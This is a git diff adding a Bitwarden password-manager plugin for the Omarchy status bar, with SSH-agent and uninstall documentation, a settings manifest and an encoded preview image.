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 gffyd_Oc45c{lOi7x;wis1%iY.pub +``` + +Mode `600` inside a `700` directory. Only public material is ever written there, and only what the helper vouched for. The projection is refreshed on each load and removed on logout, on an account change, and when you turn the feature off; a lock leaves it in place, because locked keys are still advertised. Not `~/.ssh`: that directory belongs to you and to OpenSSH, and a plugin that rewrote a set of files in it would eventually delete something it did not create. + +Authentication needs nothing beyond routing. Signing needs Git told where to look: + +```bash +git config --global gpg.format ssh +git config --global user.signingkey ~/.local/share/qs-bitwarden-cli/ssh/work.pub +git config --global commit.gpgsign true +``` + +#### Verifying the helper + +The panel checks the shipped binary against `bin/SHA256SUMS` at launch and shows "checksum verified", and says plainly when it is running a locally built development helper instead of the shipped one. Be clear about what that check is worth: `SHA256SUMS` sits in the same directory as the binary *and* as the QML that reads it, so anyone able to replace one can replace the others. It is not tamper detection. What it does catch is real -- a partial clone, an LFS placeholder, an architecture or format mismatch, and above all a stale binary left behind by a `git pull` that updated the source. + +Provenance is the separate mechanism with a different root of trust. Releases from `v1.5.0` on carry a GitHub build-provenance attestation binding the binary's digest to this repository, workflow and commit, published alongside an SBOM and a dependency/licence report: + +```bash +gh attestation verify bin/x86_64-linux/qs-bitwarden-ssh-agent \ + --repo Elevate08/qs-bitwarden-cli +``` + +`gh` is not an Omarchy dependency, so this is a check you run if you want it, not one the plugin can assume. Worth re-running after a plugin update, when the binary has changed. + +**When the check fails.** The panel disables SSH support, names the reason, and leaves the rest of the plugin working. If a locally built helper is present it falls back to that instead and says so on a banner -- which is the state to be careful about, because signing carries on with a binary that has no recorded digest and no provenance behind it. Either way the fix is to restore the shipped artifact: + +```bash +omarchy plugin remove io.github.elevate08.qs-bitwarden-cli +omarchy plugin add https://github.com/Elevate08/qs-bitwarden-cli --enable +``` + +`omarchy plugin update` is not enough on its own: it pulls, and a pull will not overwrite a tracked file you have modified locally. Removing and re-adding gets you a clean checkout. Nothing you care about lives in the plugin folder -- the session key and stored password are in the keyring, learned suggestions in `~/.local/state` -- so this costs you your `shell.json` settings for the plugin and nothing else. + +`omarchy-shell io.github.elevate08.qs-bitwarden-cli sshAgentStatus` reports `helperSource`, `helperChecksum` and `helperState` if you want the verdict without opening the panel. + +#### What this does not defend against + +- **Anything running as you.** The socket enforces the peer's UID and nothing more. A process running as you can ask for signatures -- it gets a prompt, and the cooldown limits how often it can raise one -- and it can equally replace the helper, the checksum file, and the QML that checks them. Filesystem permissions own that boundary; the plugin cannot defend itself against a same-UID attacker, and neither can any other agent. +- **The process shown in the prompt.** The executable path is reported by the system for context. Only the requesting user is verified. Treat it as a useful hint about *what* is asking, not proof. +- **Agent forwarding.** This release does not support it. A forwarded request is labelled in the prompt, and the process it shows is not the one that will use the signature. +- **Erasure.** Secret memory is zeroized on a best-effort basis and the helper disables core dumps and `PR_SET_DUMPABLE` before the first key is read, but nothing can guarantee that a page freed by an allocator or swapped by the kernel is gone. +- **Root, and the vault itself.** Root reads any process's memory. Separately, `bw` is the source of the keys and holds its own decrypted copies while it runs. + +#### Turning it off + +Switching **Act as your SSH agent** off stops the helper, removes the socket and FIFO, drops every key and grant, deletes the public-key projection, and removes the routing file -- but only when that file is byte-for-byte the one this plugin wrote. Anything you manage by hand is left alone. Turning the agent back on writes the routing file again, so a toggle costs you nothing; it will not do so when another agent already owns `SSH_AUTH_SOCK`, or when something other than this plugin's own file is sitting at that path. Either way, clients keep the `SSH_AUTH_SOCK` they were given until your next login, so nothing changes under a running session. + +To remove the routing file without turning the agent off: + +```bash +# Or press "Remove Routing File" in the panel +rm ~/.config/uwsm/env.d/50-qs-bitwarden-ssh-agent +``` + +--- diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/uninstall.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/uninstall.md new file mode 100644 index 0000000..a2afecc --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/uninstall.md @@ -0,0 +1,63 @@ +# Uninstall + +**Turn the SSH agent off first, if you had it on**, and press **Remove Plugin +Data** on the settings screen. Between them those clear everything this plugin +put outside its own folder: the helper stops cleanly and takes its socket, +FIFO and routing file with it, and the button clears the keyring entries, the +learned suggestions and the exported public keys. Both have to happen before +the next step, because `omarchy plugin remove` has no uninstall hook -- once +the folder is gone there is no code left to run. + +```bash +omarchy plugin remove io.github.elevate08.qs-bitwarden-cli +``` + +That removes the plugin folder and its bar entry. If you skipped the two steps +above, or you are cleaning up after a plugin that is already gone, this is the +same work by hand: + +```bash +# Session key, and the master password stored for PIN/fingerprint unlock +secret-tool clear service qs-bitwarden-cli + +# Learned window-title -> vault item suggestions +rm -rf "${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli" + +# Settings block: already gone. `omarchy plugin remove` takes the bar entry +# and its settings with it. If a stale one is left -- from a plugin removed +# some other way -- clear it through the shell, never by editing the file: +# omarchy plugin disable io.github.elevate08.qs-bitwarden-cli + +# SSH agent, if you used it: the exported public keys and the routing file +rm -rf "${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli/ssh" +rm -f ~/.config/uwsm/env.d/50-qs-bitwarden-ssh-agent +``` + +**Do not hand-edit `~/.config/omarchy/shell.json`.** On many setups it is not a +regular file: Omarchy configs are commonly managed with `stow` or another +dotfile manager, which puts a symlink there pointing into a repository. Deleting +"the file" then deletes the link, the shell falls back to its built-in defaults, +and every plugin you had configured disappears at once -- not just this one. The +config itself is unharmed, sitting in the repository the link pointed at, but +working that out from an empty bar is not a pleasant few minutes. Every command +above goes through the shell or touches only this plugin's own paths. + +The agent's socket, FIFO and lock under `$XDG_RUNTIME_DIR` are removed when the +helper shuts down, which is what turning the agent off does. Removing the +plugin while the agent is still running kills the helper instead, so those +three files are left until you log out and the tmpfs goes with the session; a +stale socket at the routed path is harmless but answers nothing. Deleting the +directory by hand is safe once no helper is running. + +Two more paths are written but need no cleaning up, because neither outlives +the moment it is used: the session handoff file under `$XDG_RUNTIME_DIR`, which +is read once and deleted and is on a tmpfs that goes with the login session, +and a `.qsbw-` staging directory inside your download folder, which exists only +for the length of an attachment download and is removed however that download +ends. Saved attachments themselves stay where you saved them, mode `600`. + +Beyond those, the plugin writes nothing outside the paths above and your +`shell.json` entry, and it never modifies your Bitwarden vault on removal. Your vault is untouched -- log +out of the `bw` CLI separately with `bw logout` if you also want that cleared. + +--- diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/manifest.json b/plugins/io.github.elevate08.qs-bitwarden-cli/manifest.json new file mode 100644 index 0000000..1f45068 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/manifest.json @@ -0,0 +1,160 @@ +{ + "schemaVersion": 1, + "id": "io.github.elevate08.qs-bitwarden-cli", + "name": "Bitwarden", + "version": "1.8.1", + "author": "David Spencer", + "license": "MIT", + "description": "Bitwarden password manager integration for the Omarchy status bar and quick access panel.", + "kinds": [ + "bar-widget" + ], + "entryPoints": { + "barWidget": "Panel.qml" + }, + "barWidget": { + "displayName": "Bitwarden", + "description": "Search logins, copy passwords & TOTP codes, and manage your Bitwarden vault directly from the bar.", + "category": "Utilities", + "allowMultiple": false, + "defaultSection": "right", + "defaults": { + "autoLockMinutes": 15, + "lockOnScreenLock": true, + "lockOnSuspend": true, + "clearClipboardSec": 30, + "rememberSession": true, + "autoCopyTotpSec": 3, + "closeOnCopy": true, + "colorizeIcon": false, + "suggestOnOpen": true, + "fingerprintUnlock": false, + "pinUnlock": false, + "sshAgentEnabled": false, + "sshAgentUnlockOnDemand": false, + "sshAgentApprovalPopup": true, + "sshAgentApprovalWindowSec": 120 + }, + "schema": [ + { + "key": "autoLockMinutes", + "type": "integer", + "label": "Auto-lock timeout (minutes)", + "description": "Lock vault automatically after minutes of inactivity (0 to disable)", + "min": 0, + "max": 1440, + "step": 5, + "defaultValue": 15 + }, + { + "key": "lockOnScreenLock", + "type": "boolean", + "label": "Lock when the screen locks", + "description": "Lock the vault as soon as the screen locks, instead of waiting out the auto-lock timeout. Uses the Omarchy lock screen's own state, so it follows a manual lock and an idle lock alike.", + "defaultValue": true + }, + { + "key": "lockOnSuspend", + "type": "boolean", + "label": "Lock when the machine suspends", + "description": "Lock the vault when the system is going to sleep, so an unlocked session key is not left in the suspended machine's memory. Briefly delays the suspend to finish locking.", + "defaultValue": true + }, + { + "key": "clearClipboardSec", + "type": "integer", + "label": "Clear clipboard timeout (seconds)", + "description": "Automatically clear copied password/TOTP from clipboard after seconds (0 to disable)", + "min": 0, + "max": 300, + "step": 5, + "defaultValue": 30 + }, + { + "key": "rememberSession", + "type": "boolean", + "label": "Remember session in OS keyring", + "description": "Keep the session key in the OS keyring while unlocked, so restarting the shell does not ask for your password again. The key is held in the keyring's memory-only session collection and stamped with the current boot, so a reboot always comes back locked.", + "defaultValue": true + }, + { + "key": "autoCopyTotpSec", + "type": "integer", + "label": "Auto-copy TOTP delay (seconds)", + "description": "Automatically copy TOTP 2FA code to clipboard after copying password (0 to disable)", + "min": 0, + "max": 30, + "step": 1, + "defaultValue": 3 + }, + { + "key": "closeOnCopy", + "type": "boolean", + "label": "Close panel on Enter copy", + "description": "Automatically close panel after selecting an item with Enter", + "defaultValue": true + }, + { + "key": "colorizeIcon", + "type": "boolean", + "label": "Colorize menu-bar icon", + "description": "Use the active Omarchy theme accent for the primary menu-bar icon.", + "defaultValue": false + }, + { + "key": "suggestOnOpen", + "type": "boolean", + "label": "Contextual password suggestions", + "description": "Automatically match active window / browser tab to vault items on open", + "defaultValue": true + }, + { + "key": "fingerprintUnlock", + "type": "boolean", + "label": "Unlock with fingerprint", + "description": "Use an enrolled fingerprint to unlock the vault. Requires 'omarchy setup security fingerprint'. Stores your master password in the OS login keyring so a verified fingerprint can unlock the vault, the same trade-off as Bitwarden desktop biometrics. Turning this off deletes the stored password.", + "defaultValue": false + }, + { + "key": "pinUnlock", + "type": "boolean", + "label": "Unlock with PIN", + "description": "Unlock the vault with a numeric PIN (6 digits or more recommended; 4 is the floor and is flagged as weak while you type). Your master password is encrypted with a key derived from the PIN and only the ciphertext is kept, so reading the keyring alone does not reveal it. Turning this off deletes the stored ciphertext.", + "defaultValue": false + }, + { + "key": "sshAgentEnabled", + "type": "boolean", + "label": "Act as your SSH agent", + "description": "Serve SSH keys from your vault to ssh, Git and signing, while the vault is unlocked. Private keys are held only by a separate helper process, never written to disk, and dropped when the vault locks. Off by default; turning it on starts the helper and a socket under your per-login runtime directory.", + "defaultValue": false + }, + { + "key": "sshAgentUnlockOnDemand", + "type": "boolean", + "label": "Unlock on demand", + "description": "Let an SSH client open the unlock prompt when the vault is locked. Off by default because ssh asks the agent for identities on every connection, including ones that authenticate with an on-disk key, so this would open the panel on the first ssh after every login.", + "defaultValue": false + }, + { + "key": "sshAgentApprovalPopup", + "type": "boolean", + "label": "Use centered approval popup", + "description": "Show SSH unlock and signing requests in a transient card in the middle of the screen instead of opening the anchored panel. Disable to show them in the panel.", + "defaultValue": true + }, + { + "key": "sshAgentApprovalWindowSec", + "type": "integer", + "label": "Approve for this long (seconds)", + "description": "How long one approval covers further signatures from the same program, so a rebase over twenty commits is not twenty prompts. Scoped to one key and one executable path, never written to disk, and dropped on lock, logout or exit. 0 asks every time.", + "min": 0, + "max": 900, + "step": 30, + "defaultValue": 120 + } + ] + }, + "homepage": "https://github.com/Elevate08/qs-bitwarden-cli", + "repository": "https://github.com/Elevate08/qs-bitwarden-cli" +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/preview.png b/plugins/io.github.elevate08.qs-bitwarden-cli/preview.png new file mode 100644 index 0000000000000000000000000000000000000000..134c569aafd09b2e75d881025eec28791d906e59 GIT binary patch literal 409029 zcmeFYvC7ftc4Kw=1AjV=7p0 zmwg<@{uKJ0HI91ywPdo(;O4QKEj&4Uy1gAfR$icEG2Y0VMRTl3iA6^C?+L*o10j1w{@ql#&WXG`@ijC?UXg&>Ry`m6QfHY z@)L_C=vzh;Hxy-vsZuwbL<>mecpgQ2B$=WZ2_RT%VSN z|Lsc1w;ZhdLt)Kf%$)%JF0IKIG5n;T9mx{&5HtUNPE`qsD*0a%-W6wwz$OK~JMUYu z&?E~YSt-tYtJMt^NwGX@#^!Qio|Jj*yH=bj@48&XXk|_aXNKICI=bM;Y$_M+$X;F) z366f_x&X=H6XJ&Kz0DPvh!>1YE!r)p}Nxo>^Y+DE+t{<|ft4o(l$l-UsDW4aAh20TSE*+w?? zsrHXExPS1&B@dv8&Rl7lHwPMVI8t90oAHHVXZnYKLkE>=vj{@ERc+jx@7?Yf+0Ezm zX-Nwop#r&&2?%%dew*zQ;_lLDIzNgXbRJ|z{?%N!eM3?qWxldm#=^`|H??GsyW%YP zRPc7X4b8pV+?Qr~;%uDj=|kXh!GKSTjvXZz7FK#lgjefjeo>P?MCKn zI%!R8Sn<>X@kkYgs&+euHzIr?H};9@8hA1`I~HdxiW2jYP9gZqy?cHGcNjYUI7O+` zDFu~pyaq>pNXx|vCI-zB)ShJtCK~^4;pSY4zFQC?HL(AzV@?I7-9P#=_r6S{Sn20q z^5ms%t39{II6a!2H1kI}r+%u3C0OPyn)+m^TS+(Xq~wA|Qg|AfaY;x{w0wVrDXDxC z9d`b2htv$cG?5j=jJlU;OY{5>P<%0#y1VGkLTQtoYrB^UrRX-vZ`gf5U&~GO?OrB+ za$sTU5Wqp^pG)8BaXBu0AMU!GtZFZytVcOtf^D;A;U-OSCsIUGP5Dz$-u6ax;~%zj zHLX#R%72Ubq`f0wn}xMiN?wpGv#AoX8z zh0F{FjE!l`0LyJSWvAXEI3gnJl=;s(?9(LVL^6Ax@aOXN@l3zd2&nlE7P=ou;ElMu z6AOBb06lKqkPPNN?I8w?eEog0PHPR%X}+xcB5| z{Opl^B0@9Oh#F8td|WB+n)F%RkTkLsVj+-row{+6+% zc5)kR*2_(0jn8~S`RXToGvCy==JqTxmaWXg67#UdJDEiRP03?_5cNk^qSZBWSV*p` ze@7D-{Pzt+Ha!^w{Gz_&%61KK1I0LCwjRvmu*V5XlN2HyI(yL58ZP`dWU;Z9rHvTS zhtfA}9SQR5H;9>Nw(6Y8+_UxRAvP zOEn3JV~VaajI$Rpbaz8+C3USq=e_Sq>pxJ{lhCBUbgoZ#b-5WR(Xh5g9sK(F>O#-l zaFMM5|WA0Si^iB#_)P#OYhl(QPD;$YBj3u~d2m={Bh#D;MPfeIFCoBv9dJ4eD$ zu)Xsq|AUX7P0qkK!cfld0%q9-P^#nerzl92D%lH)GzPw1>>eKuaooDhC-9m4f1f1TiaeG(r$pI>_d+$>aw>J!#!RN!Cuo z!`|5&8xu5C^$DV?Fttz7c`v^on}X1E)P0Q~-P2bQhjMFOmSAvl3|pK_GN!CxYn-giOtghtMvwXcXF1)=x}^)M6zS{lXg zlzt>hnn~pV%tbK{)L4p#^=3+M30K`}@qI#n?tDOl>OS6*cV{JO#oZX&)PacZuqCjp zvy-g>L_3%Wm0A*Dw@fk8S9DMZ$F8HGz+kF2EEWjiZ+stJH^p&yVIJ-&HT00N23ZT` zXa*|(O`*=2br7*Sqs7M3(Ojx6|A<8EGn3!_XL0ge#NuWUtsD-*7a}wA4MxmY6>oa1 zU0Xbg0Wl){7=WNsH==cYiKh5E2JV3Tcgvop5qjrU$1CXh!eT{Y;4gwH;q}fw@83{S zJx-;3r(jm~DkHn+w-m6uxKwr4Az;lV?eZCm|fHCVN!N_#H?iBqfQ+YfTdlL#y#Ze2I024|iWFtH(Xf)6ENKed^$vHzm;I z*9kRnbgek+33D%8Ynoa%@+Pm9a(JaSBb}>Flkby!aQ<*}Bgr*+eic}Q$R8GYdXmpA z@;d}mn^)KEpy8vbM6;S+sGkMwMkuB#h_#l3o3uAao9J-06n@(7ZTDG!JCe{zGb-p@i+ z55a=~I8ow;63}A2DHD&rGujFDj^o6`sm>DII1WxTZ#UNwu8wzJ7Yb3cHm7O_r1g0J zBLhUZ@Gt_(1zYs~=CG3`M1R!-c{H!UN>b z?O-52mjeTz_H)Veso}$o9$R|{R5jQDO9gp<4NzD~N3|fZ!Ak$Yo{6Q_%!ur1KNMJF z8j&x*kNqUVM-(KBv;(xOMWX+(w%sdfo}rry-rYKB2mIV{0K`~nIteDjJYyM0)A2)- z;hs$o@!4#TdqJyTCCv2V`;vtCw1@!(WQuuU{gVo&hPqf`2SPNHgTDc%+~D(DB8gbK zp0^Df@pQ>}yfeI%AHQ!f(Na+j*Y33**opbgP`0Ypuop%hFc1hRjiY3DVIX4Z9BQyv zd&>Sj=`nxX!*amP1Ko9Vge~o3~!N3D#-h;g#Vf zM%I*#c%J_0vsiEU9*`r#OU=~N_8eO4v%W~VAxY^5&@k2A)loo)X28GVX`F8iiiFhY zxR}rS`AGpX7sJIn#=kVz+%$&_UYtO=Evx$yWFUlvwT!Edt~OqGQ2K)fYs0>{g;R$) zq;jMmPpMe!w;3M&0?<1Ahnw71EatfQn=y?BUTf0mLGq{@b^Rf{RN9#zHjbEblha zgWnHCTDzEzmyXr#34YfBJPGU1Q+=|Xu=+_B4%%GXfl(=uGpd4jT=rs9p1C* zZyX=3!dPns zB}pr<@(nxYbRKZo@DH=W&L-4B^t zh<-ZC7i$Vw>U7j$iNws4NatcxNNi@9FiwwegmpjxYm7%xkxhjBLhe~fJ5L#m1$cH| zL{<4HD3*KpTQZ$q9exkqPIvdA8B8=|ZuB5&9X{u%Z#sdMZ-{cgxLENf28lb>=Sf^d zr88`CB#*XHuPSesYfW^Z=R8T6v0t}>@DmN}kxgNaS#Pda=ECqo z0H`C~p7EA|RB!oV@%B)oEi_||=vg*mWvw-z5W-EZAKuad%oFItib&CC)cg7j2=3fx z5gYbt^M(qCaY5L1u8DfjB~`{*2rG!h!k5RcY#vY*%wV`cX1j~Ys_oZ^?X8-kzCz!L zr4$^(&7}cuEK#H@>3Yd=oG=C%t=5;qgKKHEDK%Lkrn@$ouE zjFaQh39EE@e+@^snMaQ(%}|O9h-2ihv&_Ogv^m>vw(k|bzqY@ax+*{DkCARTJX}MN z-;aztt#soefYz1lr7-?@&xJ8xTYY~`UNlo_y{ z_w~RhF>~>z)R9Bt7O{$a3$Amm0QmfgYe7kB#V?B_nT~2EmoOLOz87~c8CPuKUFuKH)!ZnIs?WQ&dREFSs_S-+^AlC!jj>2|jO{>HJY zIqI7(*REC%F%#)6mLmq*v~o{VJjO2`_IM5(A3u_Nl}+W*R|XhpwxlHEHQn^^*55uW zo|Lp}0#uVtC<2{0W^`zTRGJMrUhGi!)$<7@7o&A~I@$j4hjiZlts?F@a-Lz%Q|%zeqsE`u zqKO2omeLzzKsm*>;oz;WJ~yv!pxK$>R!y^~II95AWB*47Ex1D=_UiC@1Ps<$i3ByG z{vc%L?k+rB8v;K$e7af59_!PHSzC>2koZ==yvJk6cuM4u%@*Fl+_Jt^2F2EP&1^lu z)Mfav03riK#k+ zg))yScE0_UeB*s2aywuFL&1@NIHt5GWTL(0@iTGZ#v?&@2>~aLHE`~IP7@)Xq*vSg z*$#n!?}1a3mX6U?&l1#gliCOQOx@%A8L$~8 zO~?aW1-v)4oappQ&>KiKaqBYs?^$4h9+qfy#|VpHHbLaTrCR0Fs~uHUQ-LzRjva2y zvBIZmTxu{#+bC6!nzzf3Zen4-hEB_8qZ*DAfB!FwIF1Fr@Rn1_(>Y^SOn8bV5v8Bd zl&K8`!8N)X&XRYN0!9R52UPdm_1QU?N?)g26b6>N`t0QQ7qhrhD%_-i2Iyfb$?7V< zK?-WRe!#c^Rcp>(rRo zq;WEX=Jn<>({<$(tzfHm@NuW>AJ`6N$Tx*b>s!~zR6!-aF(zdxesi>YTan6Vb>_Ld zp)+r4O_3drRF|(vX9umx$ODwuyu6~aO~wD2uxNme&v;J>xS8P;dNazMyz-@rN50<#4QUkKu*(Cx0G1#WcyLV4n4u*!BVg zqO=YJ?QVH*V?Nr+VFo4CkPg%nCAt_jM|gfWAkf0SPCrT`WZQ&W>HJ)(ENyf8Jn6*b z{wy;}#pE(>$$%WFKQh$D*`R9^b?NVhb`V5h(fm_6Yos_ys}021;GwIVUQ&a%m@PA3 z#I*9*5DFG&w6VN7u$=IlZ2N&iL>=*OZ!Ookr~6PH@!jNeovAkGe2e>N#5smV?yzCpi>gieDbhiF>Ht)t^@x(!r9PrlU0#^QA^;`Xm>det=q2cFP46T19Hb zsP6!Dxyqz6;FWY)G1xH#{DR;vwX(!`Cl>NU!^IR+1@mm@S#S};<4=n4&J(Qjy1QK*AA1sUG5a^K<#h!TC*W~#CeCO*>V!MorGa3)}S`b&*J4@B5n*Vda2te}|g|Jz5SK@5GP2sYay z?dlq|yo#hOI)H-7nd#}vZe%Rfxf-X_0>RbLmi@}1Q0mB` zR{iXd3Iu!N;K#nD{>mM#LB+36wBf%~8D6SyeWyLw4laeapTZPK+hZy3w~V&Vyqp?P z$ozjY1}w++U)1NlttOUuYvdZ;3YhK~8uR3IT#s(pnXyDxf2&e6{5a9GhHC_NyIt71 z5JQTPE=ALNS}O@?F);03nD{!!gglE>(m6ihWd`91?CtNc3&ZKaJ358-(6u+=P@6cO zsBnP2*M*gQJHc`!QyksjVl;jBV%25Fli_KQuJPfh*!)`m%q~V}qaH}!T&98DSdt%RaXqCtsX9{V$Fd18Oi*`VG z!>>#Yj`rz9RXKdiH{nx(Ra4IzOw%M<7}n-SCD(#i_Tuf$4YGem4pHRmZUglK2uGLM zD`2`$|6tP=qjNjV{-~{f^Xn|^-yU)^0?sE|2B%+w-P$Yxt29k`G3%={Z=?N(q9s9w zQ+SDpKX2`IN`?zl6*E>e!Ivdo4 zeKo7#R@-9YpR_^M({dvN*Dbi@Sy7o@?NAdW1nG$U8NyBJRz`Bs95%hq=cr1R+JW+T zP9?&nr|tM?`C-MggE%_)P*h6$_Xs;XgaEGeSS^`3iS` z<<}JTPJ6jiD$$IiNuT$zKTMmloyi#uLQWB?>{zCif#3dL46T zyJkiMlS8jZ0ZjML@1y_F zR+CbMx>`kYv#ftewP)XvcYdVSOk~<>`stCm+aNOXyrRDBJ~&qN*H|q8u;v{-R2y@d 